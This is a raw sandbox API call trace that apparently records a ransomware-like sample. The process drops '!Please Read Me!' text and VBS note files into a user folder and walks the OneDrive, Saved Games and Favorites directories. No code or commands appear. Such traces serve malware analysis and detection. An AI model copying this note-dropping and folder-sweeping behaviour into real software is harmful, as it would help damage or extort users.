[0122.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0122.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x44
[0122.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0122.175] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0122.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0122.177] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive", lpFilePart=0x0) returned 0x26
[0122.177] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive\\", lpFilePart=0x0) returned 0x27
[0122.177] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0122.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfb0) returned 1
[0122.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0122.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive", lpFilePart=0x0) returned 0x26
[0122.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive\\", lpFilePart=0x0) returned 0x27
[0122.181] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\OneDrive\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0122.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfb0) returned 1
[0122.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0122.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29
[0122.195] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", lpFilePart=0x0) returned 0x2a
[0122.195] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.195] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.196] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0122.196] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0122.196] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0122.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0122.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0122.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29
[0122.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", lpFilePart=0x0) returned 0x2a
[0122.196] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.197] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.197] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0122.197] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0122.197] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0122.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0122.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0122.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27
[0122.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpFilePart=0x0) returned 0x28
[0122.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.199] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.199] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0122.199] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
[0122.199] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1
[0122.199] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1
[0122.200] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1
[0122.200] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0
[0122.200] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0122.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0122.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0122.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27
[0122.201] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpFilePart=0x0) returned 0x28
[0122.201] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.201] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.201] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0122.201] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
[0122.202] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1
[0122.202] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1
[0122.202] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1
[0122.202] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0122.202] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0122.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0122.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0122.203] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d
[0122.203] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpFilePart=0x0) returned 0x2e
[0122.203] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.204] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.204] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0122.204] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1
[0122.204] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1
[0122.204] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0122.205] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0122.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0122.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0122.205] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d
[0122.205] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpFilePart=0x0) returned 0x2e
